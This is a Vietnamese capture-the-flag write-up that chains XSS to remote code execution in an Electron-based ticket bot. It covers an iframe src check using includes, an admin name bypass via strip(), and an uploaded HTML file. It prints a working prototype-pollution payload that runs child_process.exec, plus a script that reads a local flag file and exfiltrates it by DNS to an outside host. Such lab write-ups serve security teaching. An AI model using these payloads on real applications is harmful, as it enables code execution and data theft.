---
# System prepended metadata

title: X Ét Ét

---

# X Ét Ét
# Bối cảnh
Bước đầu ta xem qua các chức năng của trang web bao gồm:
* Đăng ký
* Đăng nhập
* Tạo ticket
* Report ticket

Xem qua source có ta sẽ thấy có 3 folder chính là:
* app
* bot
* server

Ta xem qua ```entrypoint.sh```:
```shell=
#!/bin/sh


echo /app/flag.c
gcc /app/flag.c -o /flag
chmod 111 /flag

rm /app/flag.c

/usr/bin/supervisord -c /etc/supervisord.conf

```
Ta xác định mục tiêu là RCE để đọc flag.
Tại folder ```app``` và ```bot``` ta biết được hành vi của con bot sẽ mở trình duyệt bằng electron và truy cập vào nội dung mà ta report. Như tên bài và ta thấy electron thì ta xác định được đây là một bài XSS -> RCE trong electron.

# Phân tích
Ta xem qua chức năng tạo ticket:
![image](https://hackmd.io/_uploads/Hyfzv7Lc6.png)
Điều đáng chú ý là tại đây ta có tính năng upload file khi tạo ticket, ta xem qua code của chức năng này:
![image](https://hackmd.io/_uploads/Syu7umI5p.png)

Tại đây có 2 điều đáng chú ý sau:
**Thứ nhất** title, conetent được lưu vào db nhưng không qua santize.
**Thứ hai** file ta upload lên sẽ không trải qua bất kì bước santize về nội dung của file. Tên file khi lưu trên server sẽ là một chuỗi uuid ngẫu nhiên với extension do chính ta kiểm soát.

> Khi lần đầu đọc qua mô tả của hàm splitext thì ý tưởng đầu tiên xuất hiện trong đầu mình là Path Traversal. Tuy nhiên hàm này được code rất an toàn, nên việc khai thác path traversal là không thể


Tiếp đến sau khi tạo ticket thì mình đến với chức năng report thì luồng chương trình sẽ như sau:
![image](https://hackmd.io/_uploads/SktoRXr9p.png)
Tại đây chương trình sẽ lấy ra ```ticket``` từ ```id``` do ta gửi lên, khi này ```id```, ```ticket.title```, ```ticket.content``` sẽ qua ```bleach.clean()``` sau đấy được gửi tới ```http://127.0.0.1:5001```. Công dụng và cách dùng ```bleach.clean()``` an toàn được ghi như sau trong documentation:
![image](https://hackmd.io/_uploads/Hy3I1EScT.png)
Tiếp theo sau khi đi từ POST request dữ liệu sẽ được xử lý như sau:
![image](https://hackmd.io/_uploads/SknskEHcp.png)
Tại đây ta thấy rằng ```id```, ```ticket.title```, ```ticket.content``` sẽ qua base64 encode và gán vào biến môi trường và chạy file ```/app/app/run.sh```
```/app/app/run.sh```:
```shel=
#!/bin/bash

rm -rf /tmp/.X99-lock
Xvfb :99 &
cd "/app/app"
#
timeout -k 2 3 node_modules/.bin/electron . --disable-gpu --no-sandbox --args  --ignore-certificate-errors &

```

Từ code thì ta thấy rằng sẽ chạy electron app:

![image](https://hackmd.io/_uploads/Syr8xVSc6.png)

Khi này ta có thể xác định rằng ```id```, ```ticket.title```, ```ticket.content``` đã được xử lý an toàn bằng ```bleach.clean()``` đúng cách, nên ta không thể khai thác XSS từ các giá trị trên tại đây. 
Nhưng tại đây có một lỗ hổng khác, ta có thể thấy:

```javascript=
local = link.includes("http://localhost/tmp/");
```

Tại đây thay vì dùng ```startsWith``` thì tác giả sử dụng ```includes```, regex ở trên match với kết quả như sau:

![image](https://hackmd.io/_uploads/rJOh8Nrqa.png)

Như vậy ta có thể kiểm soát hoàn toàn ```src``` của ```iframe```. 
Khi này ta có thể cho trỏ về trang web của chúng ta để XSS, đấy là điều ta sẽ làm nếu như server cho phép ta ra mạng, tác giả đã config iptables để chặn chúng ta ra mạng:

![image](https://hackmd.io/_uploads/S1tC9NScT.png)

Vậy tại đây ta có còn cách nào để khai thác XSS hay không? Câu trả lời là có, nhưng mình sẽ nói ở phần sau của bài viết.

Ta thấy sau khi qua chỗ gán ```src``` cho ```iframe``` thì chương trình tiếp tục kiểm tra xem ```content``` có bắt đầu bằng ```[IMPORTANT ALERT]``` hay không:
![image](https://hackmd.io/_uploads/ryhcoVB5T.png)
Để content bắt đầu bằng ```[IMPORTANT ALERT]``` thì ta phải tạo ticket với username là ```admin```:
![image](https://hackmd.io/_uploads/HJyJhNr5T.png)
Nhưng user ```admin``` đã được khởi tạo ngay khi chương trình chạy. Ta tìm cách để bypass chỗ này, như ta thấy thì ```username``` sẽ được lấy từ ```session```:

```python=
username = session.get('username')
```

Khi ta ```login``` thì chương trình sẽ gán giá trị ```username``` vào ```session``` như sau:

![image](https://hackmd.io/_uploads/S1KY7BS5p.png)

Như ta thấy thay vì gán trực tiếp ```username``` vào ```session``` thì tại đây ```username``` sẽ qua ```strip()```, hàm ```strip()``` sẽ loại bỏ mọi khoảng trắng ở cả 2 đầu của chuỗi, nên tại đây ta chỉ việc thêm các ký tự khoảng trắng vào 2 đầu của ```username``` là sẽ thành công bypass.

Khi này ta đã thành công popup được notification window  (hay có thể được nói là gọi được event ```CreateViewer```). 
![image](https://hackmd.io/_uploads/S1c3hQL9a.png)
Tuy nhiên trang được mở trong notification window là một endpoint được gán CSP:
![image](https://hackmd.io/_uploads/B1zN6QLqa.png)
Như ta thấy thì tại ```script-src``` là ```self```, kết hợp với việc ta có thể upload file lên server như vậy ta có thể upload file js lên và load vào tag script? Kịch bản này đẹp nhưng nó không thể xảy ra vì khi ta lấy file về thì sẽ được trả về dưới dạng JSON
![image](https://hackmd.io/_uploads/Bk2eR7Lc6.png)
Nên hiện tại ta vẫn chưa thể XSS được.

## Những gì đã có
Sau đây là những gì quan trọng ta đã kiếm được sau quá trình phân tích:
* Có thể upload file với extension hoàn toàn do ta kiểm soát
* Có thể kiểm soát ```src``` trong iframe của trang bot mở khi có report, tuy nhiên vì firewall chặn không cho ra mạng nên ta vẫn chưa thể XSS
* Có thể popup được notification window ( hay còn được biết là trigger được event ```CreateViewer```, nhưng vì CSP nên vẫn chưa thể XSS

## XSS

Từ những dữ liệu đã có ở trên ta hoàn toàn có thể tấn công XSS thành công.
Tại main window thì  ```iframe```  sẽ ra sao nếu ta cho ```iframe``` hiển thị nội dung của file html trong local?
Tại notification window sẽ ra sao nếu ta cho trang web redirect về file html trong local?
Kết hợp với dữ kiện ở trên là ta có thể upload file với nội dung bất kì lên server cùng với việc extension của file sẽ hoàn toàn do ta kiểm soát. 
Khi này trang web sẽ hoàn toàn do ta kiểm soát.

Luồng khai thác tại đây sẽ như sau:
* Upload malicous html file với extension là html
* Tạo ticket với content chứa meta tag redirect về file ta vừa upload trên server (```file:///tmp/<uuid>.html```)
    * Khi này tại main window thì ta cho truy cập vào ```/isNew``` endpoint cùng với ```id``` của tiket ta vừa tạo ở trên.
    * Còn tại notification window thì ta chỉ cần report là được

Khi này ta đã XSS được cả 2 window là main window và notification window

## Electron

Mình đề xuất video sau để tham khảo về XSS -> RCE trong Electron, nếu bạn chưa viết về Electron:
https://youtu.be/Tzo8ucHA5xw?si=Ac-sDASQuJ2Nguox
Ngoài ra bạn cũng có thể đọc bài viết bằng Tiếng Việt sau:
https://nhienit.wordpress.com/2023/06/26/cve-2022-3133-draw-io-xss-leads-to-rce/

Ta xét qua config của main window:
```main window```:
![image](https://hackmd.io/_uploads/S1nJqPUcp.png)

```notification window```:
![image](https://hackmd.io/_uploads/SkwZqPL5p.png)

Ta thấy rõ rằng ```webPreferences``` của ```notification window``` có vấn đề khi ```sandbox``` là ```false``` và ```contextIsolation``` cũng là ```false```. Ta có thể tấn công theo kiểu ```prototype pollution``` như trong video ở trên mình đề xuất thì ta sẽ khai thác như sau:
![image](https://hackmd.io/_uploads/HkiRhFIqT.png)

![image](https://hackmd.io/_uploads/r1e1atL5T.png)

```exploit.html```:
```html=
<script>
    const orgCall = Function.prototype.call;
    Function.prototype.call = function(...args){
        if(args[3] && args[3].name == "__webpack_require__"){
            window.__webpack_require__ = args[3];
            Function.prototype.call = orgCall
            __webpack_require__('module')._load("child_process").exec("/flag > /app/server/static/flag_chanze.txt")
        }
        return orgCall.apply(this,args);
    }
</script>
```

Các bước khai thác:
* Tạo acc để bypass admin và đăng nhập
* Upload file exploit.html
* Tạo ticket với title ```<meta http-equiv="refresh" content="1;url=file:///tmp/<uuid>.html">```
* Report tới admin
* Truy cập vào static/flag_chanze.txt để lấy flag



Ngoài ra còn hướng khai thác khác được giới thiệu trong discord sau khi giải end:
![image](https://hackmd.io/_uploads/SJZT-9L96.png)

```leak_dns.html```:
```html=
<script>

fetch("file:///flag").then(r => r.text()).then(r => r.match(/TetCTF\{(.*?)\}/)[1]).then(flag =>(fetch(`http://${flag}.fgabdckk.requestrepo.com`)))

</script>
```
Ta có thể khai thác theo hướng này tuy nhiên kết quả sẽ bị đưa về ```lowercase``` hết
![image](https://hackmd.io/_uploads/H1nOj9Lcp.png)
